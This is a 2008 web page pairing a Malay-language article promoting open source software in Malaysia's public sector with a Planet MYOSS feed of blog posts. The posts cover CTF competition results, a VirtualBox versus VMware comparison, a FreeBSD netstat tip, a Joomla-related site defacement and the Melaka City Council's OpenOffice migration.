Perisian Sumber Terbuka (OSS) mewujudkan keadaan budaya pembangunan yang berlainan daripada cara-cara sebelum ini. Pembangunan perisian sumber terbuka (OSS) boleh dilakukan secara bersama, melalui Internet tanpa perlu para pembangunnya duduk dalam satu tempat. Ia turut mewujudkan apa yang dikatakan usaha gotong royong, kerja sama antara para pembangun perisian daripada pelbagai pelusuk dunia saling menyumbang menghasilkan perisian sumber terbuka (OSS).

Gotong royong ini membolehkan perisian sumber terbuka (OSS) dibangunkan menggunakan hasil pengalaman dan pengetahuan pakar-pakar serata dunia, mewujudkan kawalan mutu yang tinggi dan sistem pertolongan dalam talian dalam pelbagai cara komunikasi Internet sama ada Email, IRC, Forum, blog dan pelbagai lagi.

Kekuatan gotong royong ini menghasilkan sistem operasi Linux, Desktop Gnome dan KDE dan OpenOffice.org yang mampu malah telah menggugatkan pelbagai perisian lesen berbayar.

Keterangan lanjut mengenai Open Source Software di [www.opensource.org]

Pada 19 Jun 2002, Kerajaan Malaysia telah mengambil keputusan untuk menggalakkan penggunaan aplikasi sumber terbuka (OSS) dalam sektor awam. The Malaysian Administrative Modernisation and Management Planning Unit (MAMPU) Jabatan Perdana Menteri telah dimandatkan untuk mengetuai dan melaksanakan OSS dalam sektor awam.

Pada 16 Julai 2004, Malaysian Public Sektor OSS Master Plan (OSS Master Plan) telah dikeluarkan sejajar dengan pelancaran Open Source Competency Centre (OSCC) MAMPU.

Baca lanjut mengenai OSS Master Plan dan OSCC MAMPU di

[opensource.mampu.gov.my]
[www.oscc.org.my]

Sama ada pihak kerajaan atau rakyat Malaysia, kita perlu mempunyai pilihan dan pilihan itu adalah perisian sumber terbuka (OSS). Pilihan-pilihan dalam industri ICT akan memastikan kita tidak dijajah melalui kuasa monopoli ekonomi dan teknologi.

Kita bukan sahaja hanya menggunakan perisian sumber terbuka (OSS), malah kita perlu budayakan cara pembangunan OSS dalam dunia ICT Malaysia. Sama-sama gotong royong membangunkan perisian sumber terbuka (OSS) sama ada oleh kita dan untuk kita. Atau sama-sama menyumbang dengan masyarakat antarabangsa, menaikkan nama Malaysia di mata dunia dalam bidang ICT dan perisian sumber terbuka (OSS).

Anda boleh mula menyumbang dengan menyertai dan menyumbang di Knowledge Bank OSCC MAMPU

[knowledge.oscc.org.my]

OSCC MAMPU turut keluarkan perisian Mymeeting dengan perlesenan OSS. Ini membolehkan orang ramai terlibat dalam pembangunan perisian MyMeeting. Sila lawat laman web

[knowledge.oscc.org.my]

Kita perlu merdeka daripada penjajahan ICT.

Senarai aplikasi OSS yang boleh digunakan

[linuxwanita.blogspot.com]

Artikel sebelum ini

Virtualization Gabungkan Pelbagai Sistem Operasi
[cikgucyber.blogspot.com]

Netika Dunia Internet
[cikgucyber.blogspot.com]

Aplikasi Percuma dan Sumber Terbuka untuk Vista
[www.harisfazillah.info]

Laman penulis [blog.harisfazillah.info]

Bagi kemas kini terbaru anda dijemput untuk sertai senarai terhad email di

[groups.yahoo.com] atau email kepada

haris-subscribe@yahoogroups.com

Pelbagai artikel, nota komputer dan Internet untuk Malaysia di

[cikgucyber.blogspot.com]

Wassalam.

Harisfazillah Jamel linuxmalaysia hafnie hafija

Bukan Sekadar Internet Sahaja Nantikan kehadiran buku ini dipasaran...

18 Ogos 2008

Bukan Sekadar Internet Sahaja

This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 2.5 Malaysia License. To view a copy of this license, visit [creativecommons.org] or send a letter to Creative Commons, 543 Howard Street, 5th Floor, San Francisco, California, 94105, USA.

dubailug at Yahoo! Groups

Help Wanted

Posted: August 18th, 2008, 7:48am BST by dmaust3

Tags: [edit]

Hi All, I'm with a company that is located in the United States that develops software for wireless networking. Our CEO will soon be visiting Dubai to

Planet MYOSS

Muhammad Shahriman (Yondie): 03wning the I-Hack 08

Posted: August 18th, 2008, 7:32am BST

Tags: [edit]

After spending 4 days blasting I-Hack Competition . and the results?

Computer Forensic and Defense .. End results:

1. UTP (Project Tango)
2. UMS
3. UTP(K3. krew)

Capture The Flag Challenge:

1.UTP (F.nord team)
2.UTP (Project Tango)
3.UTP (K3. Krew)

Conclusion? OWNING OWNING OWNING

Credits: to Scan Association, especially Brother Hazim, Ayoi, Rinaki, Pokley for creating some creative and exciting question. Those 3 days were fun. Thanks to to the Uitm committee for conducting an excellent event. Thought they were some minor issues but that's okay. I will wrap all of this in one long report or post after this.

P/S: earlier geek00l said we are c*h *i if we lose this game while bearing the mark of HITB. Too bad we sapu abes.. buhahaha
Eric H. A. Yeoh: Wasted moment

Posted: August 17th, 2008, 1:56pm BST

Tags: [edit]

I wasted a good evening with my mates to rush back home to watch the final of the Men's Singles Badminton competition of the Beijing Olympiad.

Winning and losing is part of the game as they say, but the way Lee Chong Wei played was just plain horrible; what happened to the ferocious tiger who downed Korea's Lee Hyun-Il and tore through Indonesia's Sony Dwi Koncoro?

Granted, Lin Dan played well and is considered to be currently the world's best, but many of Lin's points were "gifts" from Chong Wei.

Aw man....should have just sat down with my mates and got wasted, me guess it would have been a better use of my time. Perhaps the occasion got to Chong Wei, perhaps it was the partisan crowd, feng-shui, planetary alignment (or anything else apologists would like to add) or just perhaps he is good enough to only win battles but not the war.

Yeah, I am no world class badminton player so I can't possibly understand his pains and the pressure he's under. I also realise that the country has spent millions on the likes of him and all we got are more disappointments.

Yeah I am pissed and I do realise I am ranting like a lunatic. I get that sometimes especially when I see how my tax money is being spent; on a bunch of spoilt, whinning, prima donnas.
Yuen-Chi Lian: Victim of Silverlight, Thanks to NBCOlympics

Posted: August 17th, 2008, 12:36pm BST

Tags: [edit]

I missed Phelps' incredible match which he historically tied Spitz's record. I then had to look for the replay online (it could be on the TV some time, but I'm not sure when).

I bumped into the NBC Olympics page but unfortunately the site doesn't support Linux users.

I wondered why, 'til I logged into a Windows machine to view it remotely and found out that the NBC site is using Silverlight, bah. I have heard of Moonlight but I don't think I will invest any time now to find out how to get this video working on my machine. (Separation of concern, hey)

If Microsoft wants to win this RIA game, they gotta make it work on the Linux platform.

- yc
Lee Chin Sheng: FreeBSD: Bpfstat is in Netstat

Posted: August 16th, 2008, 12:30am BST

Tags: [edit]

My friend Richard(Taosecurity) has blogged about bpfstat here, and for now bpfstat is already ported as part of netstat in FreeBSD 7. You can run the netstat with -B option -

shell>netstat -B -I le0
Pid Netif Flags Recv Drop Match Sblen Hblen Command
820 le0 p--s--- 989344 0 958346 0 0 bro
761 le0 p--s--- 989444 0 989444 216 0 argus
754 le0 p--s--- 410 0 410 1392 0 ourmon
330 le0 -ifs--l 989458 0 440 0 0 dhclient

As you can see it is very useful when comes to monitor the libpcap based tools, however there's one feature I miss during the time I use bpfstat which is -i(interval of wait second to report). To simulate similar function, I have found a simple way by using infinite loops -

shell>z=1; while [ $z -eq 1 ]; do netstat -B -I le0; sleep 3; done

This way it will report every 3 seconds(sleep 3), and if you just want to monitor particular tools, use grep will do.

Cheers ;]
Bakhtiar: Huawei E220 on Fedora 9

Posted: August 16th, 2008, 12:30am BST

Tags: [edit]

Got myself a HuaWei E220 usb modem. Well not mine per se, but I got to use it. Setting up in Fedora 9 is a easy enough. Plug in the usb modem, wait a bit, and connect using NetworkManager. Here's my /var/log/messages: Aug 16 23:38:27 tokey kernel: huweofije...
Linux By Examples: Experiencing with vmware server and Sun xVM VirtualBox

Posted: August 16th, 2008, 12:10am BST

Tags: [edit]

Recently I have tried Sun xVM VirtualBox 1.6.4 , I have compare vbox with Vmware server 1.0.4. After couple days of testing, its time for me to share some personal findings towards them. I may not able to provide graphs, and accurate figures to shows their performance and specification, but what I do is to only share my point of view as a layman, and how I like or dislike them based on the user experience.

First of all, let me list down my host machine specs:
Dell Vostro 1400 with Intel Core 2 Duo CPU T5270 @ 1.40GHz, 2G Ram.
I use 512 Mb Ram to load my guest os, I tried loading up myrinix live CD, as well as installed Windows XP.
Uses Fedora 8, my WM uses Fluxbox 1.0.0.

Before looking into performance and features, let us first look at the screenshot! I am loading up myrinix live cd at both virtual tool. The reason I choose myrinix because this great Live CD pre install with vbox guest additions as well as vmware tools, so that I can enjoy the mouse integration to move my mouse IN and OUT the guest os.

Virtual Box have separate window for virtual os settings and guest OS itself.

Vmware Server makes every Guest OSes in MDI, separate each guest oses into tabs, and the guest os settings in sidebar, NEAT!

Performance and Resources Usage
Seems both Vmware Server and Virtual Box loading speed are equally fast, and it speed close to native while I rambling in guest OS. I have such feeling of Vbox start up is a little bit faster than vmware, but uses more CPU resources than vmware. For saving and resuming guest os machine state, vbox really out performs vmware server, vbox takes less than 10 seconds to save a machines state and around 5 seconds to resume them, but vmware takes ages, even greater than shutdown and startup time, CRAZY!

Networking
Vmware support various of networking, and it allows us to switch between them in real time. I can switch NAT and Bridge anytime with loaded guest os. If I want to share internet with my host, I choose NAT. I do this when my host accessing internet through wireless LAN. I choose bridge when I want my guest OS to obtain a different IP from DHCP server. Meaning my host and guest os have separate IP address. With that, my guest OS now can be accessed from the real LAN!

Vbox also support various types of network mode too. By default, vbox uses NAT. Host Interface is equivalent to vmware Bridge mode. In order to allow Host Interface to be working, you need to setup manually, vbox does provides the guidelines for different host such as windows, solaris and Linux. But the steps is quite tedious and don’t bother trying out right now. Not to say you can’t switch network modes in real time, while your guest OS is running, the guest OS settings automatically disabled from configure. You can’t modify the settings even you save the guest os machine state, that is so ANNOYING!

But vbox support four virtual network adapter, if you have properly setup the Host Interface, you can manipulate those virtual Ethernets to bind to different network interface provided that your host machine have multiple network interface too. Vbox also provides different Network Adapter Hardware(Adapter Type) for you to choose. With some specific guest OS, you need to choose the correct Adapter Type, else it won’t works. For example freebsd guest os needs PCnet-PCI II instead of PCnet-PC III. Well, I don’t know what is the different between those options and the purpose of providing those options.

Disk Image format
Vmware supports only vmdk format, and that is its own disk image format. Vbox default disk image format is vdi, but vbox supports vmdk too!

cd-rom support
Both vmware and vbox support mounting and unmounting cd-rom from iso as well as host cd-rom devices. In vbox always remember to unmount first before mounting a new one.

Installing Windows XP
Both vmware and vbox gives a very good support for windows xp as guest os, such as Auto resize guest display ( Auto-fit Guest in vmware). Mouse integration allows moving mouse in and out the guest os. Those features will be activated after installing guest additions into windows xp guest os ( vmware tools for vmware).

Vbox provides Seamless Mode feature, which it blends the host and guest os together. Check out the screenshot!

I am running Firefox 3 from both Linux and Windows XP side by side

While moving my guest os’s apps around my Linux desktop, I experience flickery in display, probably because I run this in Fluxbox, I should try to run this in KDE or gnome.

Vbox support folder sharing between guest os and host os, this is a demanding feature that vmware server doesn’t provide, but I heard this feature is available in vmware workstation.

Some trivial Facts!
I am having dual boot for my laptop, meaning I have limited hardisk space for my ext3 partition, therefore I created vmdk format using qemu-img in my NTFS partition. After that, I load up my vbox and install Windows XP into the vmdk disk image. Next, I create a vmx file and try to load this vmdk at vmware server.
( For more information regarding qemu and vmx, check out this post.)

Ouch! vmware do not able to recognize this vmdk? I copy over the vmdk to ext3 and try again, it works! Meaning vmware for linux do not able to read the image in other filesystem except linux native filesystem? FUNNY!

Vmware virtualize different hardwares compare to vbox as well as qemu. There are risk of crashing windows if changes of hardwares, you will be throw into blue screen of death. But vmware handle it well, although I am installing windows in vbox, the windows is booting up nicely and detects the change of hardwares and depend me to just reactive windows. At this point, I shutdown my windows from vmware and try to boot it up from vbox, it crashed! I am in blue screen of death!

Summary
Both vmware and vbox have its pros and cons, I enjoy both of them.

Vmware Server:
1. Able to switch networks from NAT to Bridge mode in real time.
2. Organize guest oses in tabs and have their settings in sidebar.
3. Do not support File sharing. ( vmware workstation does but not vmware server)
4. Saving and resuming guest os machine state takes longer time than startup and shutdown.
5. Do not able to read disk image from NTFS and NAT filesystem.
6. Able to handle windows without crashing where windows installed using different virtual tool.

Virtual Box:
1. Provide 4 virtual network Adapter, but need manual setup Host Interface.
2. Support both vdi and vmdk format.
3. Seamless Mode for Windows XP guest OS is cool.
4. Support File sharing within guest os and host os.
5. Saving and resuming guest OS very fast.
6. Setting disabled while guest OS is running or saved.
Related Posts
get to know what web server a site usedYou can get the information of what web server a site used by refers to HTTP Header of a site, usually it is invisible f...
Virtualize your operating system with qemu QEMU is a processor emulator, it allows you to run variety of unmodified guest operating systems such as Linux, Wind...
ssh server security warningIf you are hosting your ssh server to public, please remember to disable the root access. This is important! A lots of "...
Harisfazillah Jamel: When In Doubt Create Your Own CMS Called CmsForNerd

Posted: August 16th, 2008, 7:30pm BST

Tags: [edit]

When In Doubt Create Your Own CMS

One of our websites that we manage was defaced. This is due to Jomlaa version 1.5.5 and all Jomlaa previous version 1.5, admin password can be reset by other user.

You can read it here.

[developer.joomla.org]

It's took us sometime to figure out what happening until Gcert MAMPU alert us the particular bug. We assumed it's just another 3rd party modules given us the problem. haiyaaaa....

Yes. I have my own CMS (Content Management System) called CmsForNerd.

[cmsfornerd.harisfazillah.info]

:)
Open Malaysia: Melaka City Council's OSS migration and savings

Posted: August 15th, 2008, 11:28pm BST

Tags: [edit]
In our ongoing series of Free and Open Source Software deployments in Malaysia, OpenMalaysiaBlog is proud to highlight the efforts of the City Council of Melaka. They were one of the first few departments to migrate completely to OpenOffice.org (98% of their 300 hundred seats. They need to retain a few copies of MS Office for some difficult proprietary files). Back in 8 December 2006, the Mayor of Melaka, Y.Bhg. Dato’ Haji Zaini bin Mohd Nor, presented "Successful Deployment Of OpenOffice In The Public Sector Seminar" and was very enthusiastic about OpenOffice.org.

Although not as far reaching in terms of number of seats as Pahang and Kedah, the Melaccan story is interesting by itself as a city council looking for ways to reduce costs, increase efficiencies and promote Free and Open Source Software.

What is different about the previous two states is that Melaka is trying to migrate their desktops to Linux as well. Unfortunately there are legacy applications which are holding them back from migrating completely.
OSCC Case Study Awards 2008
OSS on Every Desktop

Name: Hj. Mohsin bin Sarip
Government Agency:
Majlis Bandaraya Melaka Bersejarah (Melaka City Council )
Full Street Address:
Graha Makmur, No. 1 Lebuh Ayer Keroh
75450 Hang Tuah Jaya, Melaka
Postal Address:
Peti Surat 107
75720 Melaka.
Email: mohsin-at-mbmb.gov.my
Phone: 06-23264xx ext 13x / 019-6575xxx
Fax: 06-23104xx
URL: www.mbmb.gov.my
Type of Solution: Desktop Applications

Introduction on Agency
As a local authority with an orientation of service to citizens, MPMBB [Melaka City Council] has been the main driver to make historic Melaka dynamic, advanced and beautiful. Its administrative jurisdiction is in tune with the development of the whole of Melaka state, where focus is on sectors of agricultural, industrial and most recently, tourism. Infrastructure development is highly visible, competing with other advanced states in Malaysia. This situation accelerates the inflow of investors to put in capital as well as creating job opportunities to her population. Total number of staff at this agency is 840 people.

Mission
To make Melaka City Council the main driver towards the creation of a city that is dynamic, advanced and excellent.

Operational objective
- Planting the spirit of loving the organization and working as one team with one destination towards creating an organization that is solid, dynamic and excellent
- Executing duties and working to obtain keredhaan
- Solidifying system and way of working to be more transparent, fast and accurate
- Personifying workers who are dedicated, lively and diligent, united in loving MBMB [Melaka City Council)
- Rallying the roles of the community and other agencies more effectively
Clients
Property assessment taxpayers, licensees, Council Members, compound payers, etc.

Project Objective
Every compute at Melaka City Council uses OSS technology

Key Partners
Senior Management

Mayor
Directs all members to use OSS

Secretary, Melaka City Council
Monitors progress of usage of OSS in the Council

Director of Information Technology Department
Ensures usage of OSS in the Council is implemented as planned by Malaysian Administrative Modernisation and Management Planning Unit (MAMPU)
OSS Technology Used

Operating System
Desktop
- Ubuntu - http://www.ubuntu.com
- Xandros - http://www.xandros.com
- Redhat – http://www.redhat.com
Server
- Centos – http://www.centos.org
Apache
- Web server – http://httpd.apache.org/
Office Productivity
- OpenOffice.org – http://www.openoffice.org
Purpose of Usage
- Easy to install
End User usage
- Office productivity: OpenOffice.org
- Internet / Web browsing: Mozilla Firefox
Hardware and Applications
- Desktop PCs: ± 300 PC
- OpenOffice.org usage: 98%
- Operating Systems: Ubuntu, Xandros : 60%
- 40% do not use OSS because there are application software which are not compatible like
Application Servers
- e-Pbt – Oracle
- Backup – Bak Bone
- Stok – Php; MySql
- Twincities – Apache;php;MySql
- Logins – Centos
- Mail – Redhat
- Domino server – Redhat
- Firewall – network box
Why use Open Source Software / Linux?
1. Saves costs - RM120K a year saved from licensing
2. Easy to maintain, and can be configured for end users needs with the availability of source code
3. No virus attacks
4. Less maintenance on PCs
How and why does OSS solve your needs / problems
1. Security - virus free
2. No additional costs for purchases of "upgrade" licenses
3. No piracy
Effect of OSS Migration on the Agency and the public
1. Agency saves costs
2. The public receives better service
  1. Updated information
  2. Faster access to information
3. Management of the Council is more efficient
Experience
1. Users found difficulty accepting OSS in the early stages of implementation
2. There are several applications operating in the Council which are not compatible with Linux
  1. MapInfo, AutoCAD, System e-Kewangan (Microsoft Internet Explorer dependent), e-Pbt System
Project Status
1. Open Office - 98%
2. Operating System - 60%
Testimonial
Name: Tuan Hj. Mohsin bin Sarip
Position: Director of Information Technology
Tel: 06-2326411 ext 134
What is great about this case study is the support from upper management all the way down to the end users.The enthusiasm by the team in Melaka is certainly commendable, and it looks like they are still going strong. This was what the Mayor said then:
"... I don't understand why some agencies may still be hesitant despite all the sessions MAMPU has conducted ... go back and convince your superiors on the benefits of OSS and OpenOffice.org, and that implementation is easy"
Now that we know that the State Government of Kedah has been migrating since 2003, and the State Government of Pahang has just initiated their migration, the growth of ODF adoption will now happen in a more organic manner, and in a few years time be the du jour standard especially in the public sector.

yk
Yuen-Chi Lian: Unprofessional Support-Fu, Let's Talk about It

Posted: August 15th, 2008, 5:09pm BST

Tags: [edit]
Check this out. A 22-minute call from an angry customer to the Astro customer service. Most people would say that the customer was being unreasonable and having unbalanced hormones. But I have a different opinion -- that's very bad customer service by Astro.

I am a nasty and very-nice customer, it all depends on the issue am having and how the personnel speaks to me (of course, the same to most people too). I always dial the hotlines whenever I have something to complain or to inquire or I feel that I need to talk a bit with someone on a good afternoon. Always, really. To the extent that my colleagues questioned me a few times if I was simply too free.

At the same time, for the past 2 years, I worked on two support projects, providing technical support to customers around the globe. I was trained and I was also responsible to train new guys to come into this field.

My experiences with TM and Astro were usually bad. And what would I say for this case? Terribly handled. This case could be resolved in 2 to 3 minutes and it was ridiculous to drag it 'til more than 22 minutes 31 seconds.

To handle this emotional customer, Jeeva should:
1. Apologize for the misunderstanding ("that's your problem, I can't..")
2. Not question / argue with the customer, there's no rationality at another end dude. Be polite and say "I'm sorry" to calm her down, and bring her back to the point. What do the customers need? Solution.
3. Not keep quiet to dilly-dally the call.
4. Escalate! Or maybe not, because it would have been settled if Jeeva had better support-fu.
I always like the Atlassian's core value #3 - "Don't fuck the customer." Seriously don't. If you ever want to do it, do it in the nice way.

- yc, bloody hell.

balinux at Yahoo! Groups

site for manoey

Posted:

Goa-india » FLOSSAsia

Feeds

FLOSSAsia (75 unread)

Posted: August 20th, 2008, 3:31pm BST

Tags: [edit]

Posted: August 20th, 2008, 8:24am BST

Tags: [edit]

Posted: August 19th, 2008, 3:37am BST

Tags: [edit]

Posted: August 19th, 2008, 12:54am BST

Tags: [edit]

Posted: August 19th, 2008, 9:42pm BST by Adi Setiawan

Tags: [edit]

Posted: August 19th, 2008, 8:31pm BST by online_baliwae

Tags: [edit]

Posted: August 19th, 2008, 6:06pm BST

Tags: [edit]

Posted: August 19th, 2008, 4:00pm BST

Tags: [edit]

Posted: August 19th, 2008, 3:47pm BST

Tags: [edit]

Posted: August 19th, 2008, 3:03pm BST

Tags: [edit]

Posted: August 19th, 2008, 2:04pm BST

Tags: [edit]

Posted: August 19th, 2008, 1:30pm BST

Tags: [edit]

Posted: August 19th, 2008, 11:56am BST

Tags: [edit]

Posted: August 18th, 2008, 9:15pm BST

Tags: [edit]

Posted: August 18th, 2008, 9:07pm BST

Tags: [edit]

Posted: August 18th, 2008, 3:24pm BST

Tags: [edit]

Posted: August 18th, 2008, 3:00pm BST

Tags: [edit]

Posted: August 18th, 2008, 1:32pm BST

Tags: [edit]

Posted: August 18th, 2008, 11:31am BST

Tags: [edit]

Posted: August 18th, 2008, 7:48am BST by dmaust3

Tags: [edit]

Posted: August 18th, 2008, 7:32am BST

Tags: [edit]

Posted: August 17th, 2008, 1:56pm BST

Tags: [edit]

Posted: August 17th, 2008, 12:36pm BST

Tags: [edit]

Posted: August 16th, 2008, 12:30am BST

Tags: [edit]

Posted: August 16th, 2008, 12:30am BST

Tags: [edit]

Posted: August 16th, 2008, 12:10am BST

Tags: [edit]

Posted: August 16th, 2008, 7:30pm BST

Tags: [edit]

Posted: August 15th, 2008, 11:28pm BST

Tags: [edit]

Posted: August 15th, 2008, 5:09pm BST

Tags: [edit]

Posted: